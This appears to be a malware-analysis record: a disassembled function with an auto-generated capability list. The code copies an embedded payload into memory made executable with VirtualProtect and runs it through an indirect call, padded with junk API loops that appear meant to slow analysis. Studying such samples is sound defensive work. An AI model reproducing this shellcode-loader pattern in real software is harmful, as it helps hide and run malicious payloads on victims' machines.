Function at 0x4021f2
Capabilities:
Allocate or change rwx memory
Copy file
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get file attributes
Get geographical location
Identify system language via api
Terminate thread

Disassembly:
mov eax, 0x41b8d9
call fcn.0041b7d8
mov eax, 0x10d4
call fcn.00418a90
mov ecx, dword [0x2d18a74]
push ebx
xor ebx, ebx
push esi
cmp ecx, 0x93
jne 0x4022dd
push str.ugiwasawen
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
push ebx
bts dword [eax], 0
lea eax, [ebp - 0x4dc]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
lea eax, [ebp - 0x10dc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push ebx
call fcn.00406965
pop ecx
push ebx
call fcn.00405714
lea ecx, [ebp - 0x20]
mov dword [esp], str.bad_exception
call fcn.00401123
lea ecx, [ebp - 0x20]
call fcn.0040113f
push ebx
push ebx
call fcn.004056ce
push ebx
call fcn.00406573
add esp, 0xc
push ebx
call fcn.004069dc
pop ecx
push ebx
call fcn.00406573
mov dword [esp], 0x42290c
call fcn.0040659d
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00402c33
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
call fcn.00402c40
push ecx
push ecx
lea ecx, [ebp - 0xdc]
call fcn.00402c7d
lea ecx, [ebp - 0xdc]
call fcn.00402484
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00402c6d
mov ecx, dword [0x2d18a74]
mov eax, dword [0x428ee8]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x2d19478], eax
mov dword [0x2d18a74], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x2c]
mov dword [0x2d1846c], eax
push ecx
push 0x40
push dword [0x2d18a74]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x29156e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
dec esi
jne 0x402318
mov ecx, dword [0x2d18a74]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test ecx, ecx
je 0x40239b
mov eax, dword [0x2d19478]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2d1846c]
mov byte [eax + esi], cl
mov ecx, dword [0x2d18a74]
cmp ecx, 0x490
jne 0x402396
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
call ebx
push 0
lea eax, [ebp - 0x10dc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x8dc]
push eax
push 0x422910
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov ecx, dword [0x2d18a74]
inc esi
cmp esi, ecx
jb 0x40233b
xor esi, esi
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x4023ef
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor ecx, ecx
lea eax, [ebp - 0x24]
push ecx
push eax
push ecx
lea eax, [ebp - 0x4dc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
call ebx
xor ecx, ecx
lea eax, [ebp - 0xcdc]
push ecx
push ecx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov ecx, dword [0x2d18a74]
inc esi
cmp esi, 0x38681
jl 0x40239d
push ecx
call fcn.004021af
xor ebx, ebx
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x402412
call fcn.004021d6
inc esi
cmp esi, 0x674db
jl 0x402402
push 0x7b
pop esi
cmp dword [0x2d18a74], 0x86
jne 0x402460
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebx
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push str.hisukiximiwideporok
push str.yopodafelecefufojawobipixohalib
call dword [sym.imp.KERNEL32.dll_CopyFileA]
dec esi
jne 0x40241e
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d1846c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret